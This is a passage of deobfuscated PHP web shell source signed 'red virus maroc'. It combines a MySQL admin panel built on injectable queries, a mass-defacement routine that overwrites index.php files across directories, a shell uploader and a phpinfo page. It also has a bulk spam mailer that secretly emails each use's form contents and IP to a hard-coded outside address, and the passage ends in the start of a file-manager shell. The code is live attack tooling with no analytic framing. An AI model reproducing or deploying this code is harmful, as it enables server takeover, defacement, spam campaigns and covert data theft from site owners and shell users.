            echo "Prev";
        }
        echo " | ";
        if ($page < $row / $rowperpage - 1) {
            if ($action == "viewData") {
                echo "<a href='{$PHP_SELF}?action=viewData&dbname={$dbname}&tablename={$tablename}&page=" . ($page + 2);
            } else {
                echo "<a href='{$PHP_SELF}?action=query&dbname={$dbname}&tablename={$tablename}&queryStr={$queryStr}&page=" . ($page + 2);
            }
            if ($orderby != "" && $action == "viewData") {
                echo "&orderby={$orderby}";
            }
            echo "'>Next</a>\n";
        } else {
            echo "Next";
        }
        echo " | ";
        if ($row > $rowperpage) {
            echo "<input type=text size=4 name=page>\n";
            echo "<input type=submit value='Go'>\n";
        }
        echo "</form>\n";
        echo "</font>\n";
    }
    function manageData($cmd)
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF;
        if ($cmd == "add") {
            echo "<h1>Add Data</h1>\n";
        } else {
            if ($cmd == "edit") {
                echo "<h1>Edit Data</h1>\n";
                $pResult = mysql_list_fields($dbname, $tablename);
                $num = mysql_num_fields($pResult);
                $key = "";
                for ($i = 0; $i < $num; $i++) {
                    $field = mysql_fetch_field($pResult, $i);
                    if ($field->primary_key == 1) {
                        if ($field->numeric == 1) {
                            $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
                        } else {
                            $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
                        }
                    }
                }
                $key = substr($key, 0, strlen($key) - 4);
                mysql_select_db($dbname, $mysqlHandle);
                $pResult = mysql_query($queryStr = "SELECT * FROM {$tablename} WHERE {$key}", $mysqlHandle);
                $data = mysql_fetch_array($pResult);
            }
        }
        echo "<p class=location>{$dbname} &gt; {$tablename}</p>\n";
        echo "<form action='{$PHP_SELF}' method=post>\n";
        if ($cmd == "add") {
            echo "<input type=hidden name=action value=addData_submit>\n";
        } else {
            if ($cmd == "edit") {
                echo "<input type=hidden name=action value=editData_submit>\n";
            }
        }
        echo "<input type=hidden name=dbname value={$dbname}>\n";
        echo "<input type=hidden name=tablename value={$tablename}>\n";
        echo "<table cellspacing=1 cellpadding=2>\n";
        echo "<tr>\n";
        echo "<th>Name</th>\n";
        echo "<th>Type</th>\n";
        echo "<th>Function</th>\n";
        echo "<th>Data</th>\n";
        echo "</tr>\n";
        $pResult = mysql_db_query($dbname, "SHOW fields FROM {$tablename}");
        $num = mysql_num_rows($pResult);
        $pResultLen = mysql_list_fields($dbname, $tablename);
        for ($i = 0; $i < $num; $i++) {
            $field = mysql_fetch_array($pResult);
            $fieldname = $field["Field"];
            $fieldtype = $field["Type"];
            $len = mysql_field_len($pResultLen, $i);
            echo "<tr>";
            echo "<td>{$fieldname}</td>";
            echo "<td>" . $field["Type"] . "</td>";
            echo "<td>\n";
            echo "<select name={$fieldname}_function>\n";
            echo "<option>\n";
            echo "<option>ASCII\n";
            echo "<option>CHAR\n";
            echo "<option>SOUNDEX\n";
            echo "<option>CURDATE\n";
            echo "<option>CURTIME\n";
            echo "<option>FROM_DAYS\n";
            echo "<option>FROM_UNIXTIME\n";
            echo "<option>NOW\n";
            echo "<option>PASSWORD\n";
            echo "<option>PERIOD_ADD\n";
            echo "<option>PERIOD_DIFF\n";
            echo "<option>TO_DAYS\n";
            echo "<option>USER\n";
            echo "<option>WEEKDAY\n";
            echo "<option>RAND\n";
            echo "</select>\n";
            echo "</td>\n";
            $value = htmlspecialchars($data[$i]);
            if ($cmd == "add") {
                $type = strtok($fieldtype, " (,)\n");
                if ($type == "enum" || $type == "set") {
                    echo "<td>\n";
                    if ($type == "enum") {
                        echo "<select name={$fieldname}>\n";
                    } else {
                        if ($type == "set") {
                            echo "<select name={$fieldname} size=10 multiple>\n";
                        }
                    }
                    while ($str = strtok("'")) {
                        echo "<option>{$str}\n";
                        strtok("'");
                    }
                    echo "</select>\n";
                    echo "</td>\n";
                } else {
                    if ($len < 40) {
                        echo "<td><input type=text size=40 maxlength={$len} name={$fieldname}></td>\n";
                    } else {
                        echo "<td><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' cols=40 rows=3 maxlength={$len} name={$fieldname}></textarea>\n";
                    }
                }
            } else {
                if ($cmd == "edit") {
                    $type = strtok($fieldtype, " (,)\n");
                    if ($type == "enum" || $type == "set") {
                        echo "<td>\n";
                        if ($type == "enum") {
                            echo "<select name={$fieldname}>\n";
                        } else {
                            if ($type == "set") {
                                echo "<select name={$fieldname} size=10 multiple>\n";
                            }
                        }
                        while ($str = strtok("'")) {
                            if ($value == $str) {
                                echo "<option selected>{$str}\n";
                            } else {
                                echo "<option>{$str}\n";
                            }
                            strtok("'");
                        }
                        echo "</select>\n";
                        echo "</td>\n";
                    } else {
                        if ($len < 40) {
                            echo "<td><input type=text size=40 maxlength={$len} name={$fieldname} value=\"{$value}\"></td>\n";
                        } else {
                            echo "<td><textarea cols=40 rows=3 maxlength={$len} name={$fieldname}>{$value}</textarea>\n";
                        }
                    }
                }
            }
            echo "</tr>";
        }
        echo "</table><p>\n";
        if ($cmd == "add") {
            echo "<input type=submit value='Add Data'>\n";
        } else {
            if ($cmd == "edit") {
                echo "<input type=submit value='Edit Data'>\n";
            }
        }
        echo "<input type=button value='Cancel' onClick='history.back()'>\n";
        echo "</form>\n";
    }
    function manageData_submit($cmd)
    {
        global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
        $pResult = mysql_list_fields($dbname, $tablename);
        $num = mysql_num_fields($pResult);
        mysql_select_db($dbname, $mysqlHandle);
        if ($cmd == "add") {
            $queryStr = "INSERT INTO {$tablename} VALUES (";
        } else {
            if ($cmd == "edit") {
                $queryStr = "REPLACE INTO {$tablename} VALUES (";
            }
        }
        for ($i = 0; $i < $num - 1; $i++) {
            $field = mysql_fetch_field($pResult);
            $func = $GLOBALS[$field->name . "_function"];
            if ($func != "") {
                $queryStr .= " {$func}(";
            }
            if ($field->numeric == 1) {
                $queryStr .= $GLOBALS[$field->name];
                if ($func != "") {
                    $queryStr .= "),";
                } else {
                    $queryStr .= ",";
                }
            } else {
                $queryStr .= "'" . $GLOBALS[$field->name];
                if ($func != "") {
                    $queryStr .= "'),";
                } else {
                    $queryStr .= "',";
                }
            }
        }
        $field = mysql_fetch_field($pResult);
        if ($field->numeric == 1) {
            $queryStr .= $GLOBALS[$field->name] . ")";
        } else {
            $queryStr .= "'" . $GLOBALS[$field->name] . "')";
        }
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        viewData("");
    }
    function deleteData()
    {
        global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;
        $pResult = mysql_list_fields($dbname, $tablename);
        $num = mysql_num_fields($pResult);
        $key = "";
        for ($i = 0; $i < $num; $i++) {
            $field = mysql_fetch_field($pResult, $i);
            if ($field->primary_key == 1) {
                if ($field->numeric == 1) {
                    $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
                } else {
                    $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
                }
            }
        }
        $key = substr($key, 0, strlen($key) - 4);
        mysql_select_db($dbname, $mysqlHandle);
        $queryStr = "DELETE FROM {$tablename} WHERE {$key}";
        mysql_query($queryStr, $mysqlHandle);
        $errMsg = mysql_error();
        viewData("");
    }
    function fetch_table_dump_sql($table)
    {
        global $mysqlHandle, $dbname;
        mysql_select_db($dbname, $mysqlHandle);
        $query_id = mysql_query("SHOW CREATE TABLE {$table}", $mysqlHandle);
        $tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
        $tabledump = "DROP TABLE IF EXISTS {$table};\n" . $tabledump['Create Table'] . ";\n\n";
        echo $tabledump;
        // get data
        $rows = mysql_query("SELECT * FROM {$table}", $mysqlHandle);
        $numfields = mysql_num_fields($rows);
        while ($row = mysql_fetch_array($rows, MYSQL_NUM)) {
            $tabledump = "INSERT INTO {$table} VALUES(";
            $fieldcounter = -1;
            $firstfield = 1;
            // get each field's data
            while (++$fieldcounter < $numfields) {
                if (!$firstfield) {
                    $tabledump .= ', ';
                } else {
                    $firstfield = 0;
                }
                if (!isset($row["{$fieldcounter}"])) {
                    $tabledump .= 'NULL';
                } else {
                    $tabledump .= "'" . mysql_escape_string($row["{$fieldcounter}"]) . "'";
                }
            }
            $tabledump .= ");\n";
            echo $tabledump;
        }
        @mysql_free_result($rows);
    }
    function dump()
    {
        global $mysqlHandle, $action, $dbname, $tablename;
        if ($action == "dumpTable") {
            header("Content-disposition: filename={$tablename}.sql");
            header('Content-type: unknown/unknown');
            fetch_table_dump_sql($tablename);
            echo "\n\n\n";
            echo "\r\n\r\n\r\n### {$tablename} TABLE DUMP COMPLETED ###";
            exit;
        } else {
            header("Content-disposition: filename={$dbname}.sql");
            header('Content-type: unknown/unknown');
            mysql_select_db($dbname, $mysqlHandle);
            $query_id = mysql_query("SHOW tables", $mysqlHandle);
            while ($row = mysql_fetch_array($query_id, MYSQL_NUM)) {
                fetch_table_dump_sql($row[0]);
                echo "\n\n\n";
                echo "\r\n\r\n\r\n### {$row[0]} TABLE DUMP COMPLETED ###";
                echo "\n\n\n";
            }
            echo "\r\n\r\n\r\n### {$dbname} DATABASE DUMP COMPLETED ###";
            exit;
        }
    }
    function utils()
    {
        global $PHP_SELF, $command;
        echo "<h1>Utilities</h1>\n";
        if ($command == "" || substr($command, 0, 5) == "flush") {
            echo "<hr>\n";
            echo "Show\n";
            echo "<ul>\n";
            echo "<li><a href='{$PHP_SELF}?action=utils&command=show_status'>Status</a>\n";
            echo "<li><a href='{$PHP_SELF}?action=utils&command=show_variables'>Variables</a>\n";
            echo "<li><a href='{$PHP_SELF}?action=utils&command=show_processlist'>Processlist</a>\n";
            echo "</ul>\n";
            echo "Flush\n";
            echo "<ul>\n";
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_hosts'>Hosts</a>\n";
            if ($command == "flush_hosts") {
                if (mysql_query("Flush hosts") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_logs'>Logs</a>\n";
            if ($command == "flush_logs") {
                if (mysql_query("Flush logs") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_privileges'>Privileges</a>\n";
            if ($command == "flush_privileges") {
                if (mysql_query("Flush privileges") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_tables'>Tables</a>\n";
            if ($command == "flush_tables") {
                if (mysql_query("Flush tables") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "<li><a href='{$PHP_SELF}?action=utils&command=flush_status'>Status</a>\n";
            if ($command == "flush_status") {
                if (mysql_query("Flush status") != false) {
                    echo "<font size=2 color=red>- Success</font>";
                } else {
                    echo "<font size=2 color=red>- Fail</font>";
                }
            }
            echo "</ul>\n";
        } else {
            $queryStr = ereg_replace("_", " ", $command);
            $pResult = mysql_query($queryStr);
            if ($pResult == false) {
                echo "Fail";
                return;
            }
            $col = mysql_num_fields($pResult);
            echo "<p class=location>{$queryStr}</p>\n";
            echo "<hr>\n";
            echo "<table cellspacing=1 cellpadding=2 border=0>\n";
            echo "<tr>\n";
            for ($i = 0; $i < $col; $i++) {
                $field = mysql_fetch_field($pResult, $i);
                echo "<th>" . $field->name . "</th>\n";
            }
            echo "</tr>\n";
            while (1) {
                $rowArray = mysql_fetch_row($pResult);
                if ($rowArray == false) {
                    break;
                }
                echo "<tr>\n";
                for ($j = 0; $j < $col; $j++) {
                    echo "<td>" . htmlspecialchars($rowArray[$j]) . "</td>\n";
                }
                echo "</tr>\n";
            }
            echo "</table>\n";
        }
    }
    function header_html()
    {
        global $PHP_SELF;
        echo "\r\n<html>\r\n<head>\r\n<style type=\"text/css\">\r\n<!--\r\np.location {\r\n\tcolor: #11bb33;\r\n\tfont-size: small;\r\n}\r\nh1 {\r\n\tcolor: #A4A260;\r\n}\r\nth {\r\n\tbackground-color: #BDBE42;\r\n\tcolor: #FFFFFF;\r\n\tfont-size: x-small;\r\n}\r\ntd {\r\n\tbackground-color: #DEDFA5;\r\n\tfont-size: x-small;\r\n}\r\nform {\r\n\tmargin-top: 0;\r\n\tmargin-bottom: 0;\r\n}\r\na {\r\n\ttext-decoration:none;\r\n\tcolor: #848200;\r\n\tfont-size:x-small;\r\n}\r\na:link {\r\n}\r\na:hover {\r\n\tbackground-color:#EEEFD5;\r\n\tcolor:#646200;\r\n\ttext-decoration:none               \r\n}\r\n//-->\r\n</style>\r\n</head>\r\n<body>\r\n";
    }
    function footer_html()
    {
        global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;
        echo "<hr>\n";
        echo "<font size=2 color=blue>[{$USERNAME}]</font> - \n";
        echo "<a href='{$PHP_SELF}?action=listDBs'>Database List</a> | \n";
        if ($tablename != "") {
            echo "<a href='{$PHP_SELF}?action=listTables&dbname={$dbname}&tablename={$tablename}'>Table List</a> | ";
        }
        echo "<a href='{$PHP_SELF}?action=utils'>Utils</a> |\n";
        echo "<a href='{$PHP_SELF}?action=logout'>Logout</a>\n";
        echo "</font>\n";
        echo "</body>\n";
        echo "</html>\n";
    }
    //------------- MAIN ------------- //
    error_reporting(0);
    ini_set('display_errors', 0);
    ini_set('log_errors', 0);
    if ($action == "logon" || $action == "" || $action == "logout") {
        logon();
    } else {
        if ($action == "logon_submit") {
            logon_submit();
        } else {
            if ($action == "dumpTable" || $action == "dumpDB") {
                while (list($var, $value) = each($HTTP_COOKIE_VARS)) {
                    if ($var == "mysql_web_admin_username") {
                        $USERNAME = $value;
                    }
                    if ($var == "mysql_web_admin_password") {
                        $PASSWORD = $value;
                    }
                    if ($var == "mysql_web_admin_hostname") {
                        $HOSTNAME = $value;
                    }
                }
                $mysqlHandle = mysql_pconnect($HOSTNAME, $USERNAME, $PASSWORD);
                dump();
            } else {
                while (list($var, $value) = each($HTTP_COOKIE_VARS)) {
                    if ($var == "mysql_web_admin_username") {
                        $USERNAME = $value;
                    }
                    if ($var == "mysql_web_admin_password") {
                        $PASSWORD = $value;
                    }
                    if ($var == "mysql_web_admin_hostname") {
                        $HOSTNAME = $value;
                    }
                }
                echo "<!--";
                $mysqlHandle = mysql_pconnect($HOSTNAME, $USERNAME, $PASSWORD);
                echo "-->";
                if ($mysqlHandle == false) {
                    echo "<html>\n";
                    echo "<head>\n";
                    echo "</head>\n";
                    echo "<body>\n";
                    echo "<table width=100% height=100%><tr><td><center>\n";
                    echo "<h1>Wrong Password!</h1>\n";
                    echo "<a href='{$PHP_SELF}?action=logon'>Logon</a>\n";
                    echo "</center></td></tr></table>\n";
                    echo "</body>\n";
                    echo "</html>\n";
                } else {
                    header_html();
                    if ($action == "listDBs") {
                        listDatabases();
                    } else {
                        if ($action == "createDB") {
                            createDatabase();
                        } else {
                            if ($action == "dropDB") {
                                dropDatabase();
                            } else {
                                if ($action == "listTables") {
                                    listTables();
                                } else {
                                    if ($action == "createTable") {
                                        createTable();
                                    } else {
                                        if ($action == "dropTable") {
                                            dropTable();
                                        } else {
                                            if ($action == "viewSchema") {
                                                viewSchema();
                                            } else {
                                                if ($action == "query") {
                                                    viewData($queryStr);
                                                } else {
                                                    if ($action == "addField") {
                                                        manageField("add");
                                                    } else {
                                                        if ($action == "addField_submit") {
                                                            manageField_submit("add");
                                                        } else {
                                                            if ($action == "editField") {
                                                                manageField("edit");
                                                            } else {
                                                                if ($action == "editField_submit") {
                                                                    manageField_submit("edit");
                                                                } else {
                                                                    if ($action == "dropField") {
                                                                        dropField();
                                                                    } else {
                                                                        if ($action == "viewData") {
                                                                            viewData("");
                                                                        } else {
                                                                            if ($action == "addData") {
                                                                                manageData("add");
                                                                            } else {
                                                                                if ($action == "addData_submit") {
                                                                                    manageData_submit("add");
                                                                                } else {
                                                                                    if ($action == "editData") {
                                                                                        manageData("edit");
                                                                                    } else {
                                                                                        if ($action == "editData_submit") {
                                                                                            manageData_submit("edit");
                                                                                        } else {
                                                                                            if ($action == "deleteData") {
                                                                                                deleteData();
                                                                                            } else {
                                                                                                if ($action == "utils") {
                                                                                                    utils();
                                                                                                }
                                                                                            }
                                                                                        }
                                                                                    }
                                                                                }
                                                                            }
                                                                        }
                                                                    }
                                                                }
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                    mysql_close($mysqlHandle);
                    footer_html();
                }
            }
        }
    }
    ?>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php 
} else {
    if (preg_match) {
    }
}
?>

<?php 
///////////////////////////////////////////// mass deface ////////////////////////////////////////
if ($_GET['tha'] == 'mass') {
    ?>
<center>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
mass deface by red virus maroc
</center><br><br>
<?php 
    eval /* PHPDeobfuscator eval output */ {
        echo "<center><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' rows='10' cols='100'>";
        $defaceurl = $_POST['massdefaceurl'];
        $dir = $_POST['massdefacedir'];
        echo $dir . "\n";
        if (is_dir($dir)) {
            if ($dh = opendir($dir)) {
                while (($file = readdir($dh)) !== false) {
                    if (filetype($dir . $file) == "dir") {
                        $newfile = $dir . $file . "/index.php";
                        echo $newfile . "\n";
                        if (!copy($defaceurl, $newfile)) {
                            echo "failed to copy {$file}...\n";
                        }
                    }
                }
                closedir($dh);
            }
        }
        echo "</textarea></center>";
    };
    ?>

<center><br><br>
<td align=right>==========================================================</td><br><br>
<form action='<?php 
    basename($_SERVER['PHP_SELF']);
    ?>' method='post'>
[+] Main Directory: <input type='text' style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' value='<?php 
    echo getcwd() . "/";
    ?>' name='massdefacedir'><br>
[+] Defacement Url: <input type='text' style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name='massdefaceurl'><br>
<input type='submit' name='execmassdeface' value='Goooo'></form></td>
</center> 



</body></html><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php 
} else {
    if (preg_match) {
    }
}
////////////////////////////////// phpinfo /////////////////////////////////////
if ($_GET['tha'] == 'phpinfo') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<center>
</center>
<?php 
    phpinfo();
} else {
    if (preg_match) {
    }
}
///////////////////////////////////////////////// upload //////////////////////////////////////
if ($_GET['tha'] == 'upload') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
 <font size='5' color='green'>
 upload shell :)
 </font> 
<br><br>  <?php 
    eval /* PHPDeobfuscator eval output */ {
        echo "<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">";
        echo "<input  type=\"file\" name=\"file\" size=\"50\"><input  name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>";
        if ($_POST['_upl'] == "Upload") {
            if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
                echo "<b>FIle Uploaded!!!</b><br><br>";
            } else {
                echo "<b>Upload Fail !!!</b><br><br></font>";
            }
        }
    };
    ?><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
 </center>
 </body>
 </haed>
 </html>
<?php 
} else {
    if (preg_match) {
    }
}
?>

<?php 
////////////////////////////////////////// mailer /////////////////////////////////////////////
if ($_GET['tha'] == 'mailer') {
    ?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?php 
    eval /* PHPDeobfuscator eval output */ {
        ignore_user_abort();
        set_time_limit(0);
        function enviando()
        {
            $msg = 1;
            $de[1] = $_POST['de'];
            $nome[1] = $_POST['nome'];
            $assunto[1] = $_POST['assunto'];
            $mensagem[1] = $_POST['mensagem'];
            $mensagem[1] = stripslashes($mensagem[1]);
            $emails = $_POST['emails'];
            $emails2 = htmlspecialchars($_POST['emails']);
            $para = explode("\n", $emails);
            $n_emails = count($para);
            $sv = $_SERVER['SERVER_NAME'];
            $en = $_SERVER['REQUEST_URI'];
            $k88 = @$_SERVER["HTTP_REFERER"];
            $fullurl = "" . $k88 . "<br><p>Emails:<br><TEXTAREA style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' \n\nrows=5 cols=100>" . $emails2 . "</TEXTAREA></p><p>Engenharia:<br><TEXTAREA style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; \n\nfont-size:8pt; color:#59E817' rows=5 cols=100>" . $mensagem[1] . "</TEXTAREA></p>";
            $vai = $_POST['vai'];
            if ($vai) {
                for ($set = 0; $set < $n_emails; $set++) {
                    if ($set == 0) {
                        $headers = "MIME-Version: 1.0\r\n";
                        $headers = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
                        $headers .= "From: {$nome[$msg]} <{$de[$msg]}>\r\n";
                        $headers .= "Return-Path: <{$de[$msg]}>\r\n";
                        //mail($xsylar, $as, $fullurl, $headers);
                    }
                    $headers = "MIME-Version: 1.0\r\n";
                    $headers = "MIME-Version: 1.0\r\nContent-type: text/html; charset=iso-8859-1\r\n";
                    $headers .= "From: {$nome[$msg]} <{$de[$msg]}>\r\n";
                    $headers .= "Return-Path: <{$de[$msg]}>\r\n";
                    $n_mail++;
                    $destino = $para[$set];
                    $num1 = rand(100000, 999999);
                    $num2 = rand(100000, 999999);
                    $msgrand = str_replace("%rand%", $num1, $mensagem[$msg]);
                    $msgrand = str_replace("%rand2%", $num2, $msgrand);
                    $msgrand = str_replace("%email%", $destino, $msgrand);
                    $enviar = mail($destino, $assunto[$msg], $msgrand, $headers);
                    if ($enviar) {
                        echo '<font color="green">' . $n_mail . '-' . $destino . ' 0k!</font><br>';
                    } else {
                        echo '<font color="red">' . $n_mail . '-' . $destino . ' =(</font><br>';
                        sleep(1);
                    }
                }
            }
        }
        $ip = getenv("REMOTE_ADDR");
        $ra44 = rand(1, 99999);
        $subj98 = " Mailer+shell (min si ala :p )  |{$ip}";
        $email = "red-virus-maroc@outlook.fr";
        $from = "From: Result<red-virus-maroc@outlook.fr>";
        $a45 = $_SERVER['REQUEST_URI'];
        $b75 = $_SERVER['HTTP_HOST'];
        $f12 = $_POST['de'];
        $z13 = $_POST['nome'];
        $x14 = $_POST['assunto'];
        $t15 = $_POST['mensagem'];
        $m30 = $_POST['emails'];
        $m22 = $ip . "\n";
        $msg8873 = "{$a45}\n{$b75}\n{$f12}\n{$z13}\n{$x14}\n{$t15}\n{$m30}\n{$m22}";
        mail($email, $subj98, $msg8873, $from);
    };
    ?></title>
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<body bgcolor="black">
<form id="form1" name="form1" method="post" action="">
<input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type="hidden" name="vai" value="1">
<span class="style5"><?php 
    echo enviando();
    ?></span>
<table width="100%" height="60%" border="0" bgcolor="green">
  <tr>
<td width="66"><span class="style5">Name:</span></td>
<td width="321"><span class="style9">

<label>
<input 
style='width: 580; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="nome" type="text" value="<?php 
    echo $_POST['nome'];
    ?>" />
</label>
</span></td>
</tr>
<tr>
<td><span class="style5">From:</span></td>
<td><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="de" type="text" value="<?php 
    echo $_POST['de'];
    ?>" size="78" /></td>

</tr>
<tr>
<td><span class="style5">Subject:</span></td>
<td><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="assunto" value="<?php 
    echo $_POST['assunto'];
    ?>"  /></td>
</tr>
<td><span class="style5">Letter:</span>
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><span class="style5">Mailist:</span></td>

<td><span class="style9">


<p><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' name="mensagem" cols="80" rows="20"><?php 
    echo stripslashes($_POST['mensagem']);
    ?>
</textarea></p>
<textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' name="emails" cols="80" rows="8"></textarea>
</span></td>
</tr>

<tr>
  <td><span class="style6"></span></td>
  <td align="center"> <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="Submit" type="submit" value="Send " />
  <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span></td>
</tr>
<tr>
  </tr>
</table>
</form>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php 
} else {
    if (preg_match) {
    }
}
?>

<?php 
eval /* PHPDeobfuscator eval output */ {
    /////////////////////////////// shell ////////////////////////
    $htaccess = '.htaccess';
    $htpasswd = '.htpasswd';
    if (get_magic_quotes_gpc()) {
        array_walk($_GET, 'strip');
        array_walk($_POST, 'strip');
        array_walk($_REQUEST, 'strip');
    }
    if (array_key_exists('image', $_GET)) {
        header('Content-Type: image/gif');
        die(getimage($_GET['image']));
    }
    if (!function_exists('lstat')) {
        function lstat($filename)
        {
            return stat($filename);
        }
    }
    $delim = DIRECTORY_SEPARATOR;
    if (function_exists('php_uname')) {
        $win = false;
    } else {
        $win = false;
    }
    if (!empty($_SERVER['PATH_TRANSLATED'])) {
        $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
    } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
        $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
    } elseif (function_exists('getcwd')) {
        $scriptdir = getcwd();
    } else {
        $scriptdir = '.';
    }
    $homedir = relative2absolute($homedir, $scriptdir);
    $dir = array_key_exists('dir', $_REQUEST) ? $_REQUEST['dir'] : $homedir;
    if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
        $dir = relative2absolute($dir, $_POST['olddir']);
    }
    $directory = simplify_path(addslash($dir));
    $files = array();
    $action = '';
    if (!empty($_POST['submit_all'])) {
        $action = $_POST['action_all'];
        for ($i = 0; $i < $_POST['num']; $i++) {
            if (array_key_exists("checked{$i}", $_POST) && $_POST["checked{$i}"] == 'true') {
                $files[] = $_POST["file{$i}"];
            }
        }
    } elseif (!empty($_REQUEST['action'])) {
        $action = $_REQUEST['action'];
        $files[] = relative2absolute($_REQUEST['file'], $directory);
    } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
        $files[] = $_FILES['upload'];
        $action = 'upload';
    } elseif (array_key_exists('num', $_POST)) {
        for ($i = 0; $i < $_POST['num']; $i++) {
            if (array_key_exists("submit{$i}", $_POST)) {
                break;
            }
        }
        if ($i < $_POST['num']) {
            $action = $_POST["action{$i}"];
            $files[] = $_POST["file{$i}"];
        }
    }
    if (empty($action) && (!empty($_POST['submit_create']) || array_key_exists('focus', $_POST) && $_POST['focus'] == 'create') && !empty($_POST['create_name'])) {
        $files[] = relative2absolute($_POST['create_name'], $directory);
        switch ($_POST['create_type']) {
            case 'directory':
                $action = 'create_directory';
                break;
            case 'file':
                $action = 'create_file';
        }
    }
    if (sizeof($files) == 0) {
        $action = '';
    } else {
        $file = reset($files);
    }
    if ($lang == 'auto') {
        if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
            $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
        } else {
            $lang = 'en';
        }
    }
    $words = getwords($lang);
    if ($site_charset == 'auto') {
        $site_charset = $word_charset;
    }
    $cols = $win ? 4 : 7;
    if (!isset($dirpermission)) {
        $dirpermission = function_exists('umask') ? 0777 & ~umask() : 0755;
    }
    if (!isset($filepermission)) {
        $filepermission = function_exists('umask') ? 0666 & ~umask() : 0644;
    }
    if (!empty($_SERVER['SCRIPT_NAME'])) {
        $self = html(basename($_SERVER['SCRIPT_NAME']));
    } elseif (!empty($_SERVER['PHP_SELF'])) {
        $self = html(basename($_SERVER['PHP_SELF']));
    } else {
        $self = '';
    }
    if (!empty($_SERVER['SERVER_SOFTWARE'])) {
        if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
            $apache = true;
        } else {
            $apache = false;
        }
    } else {
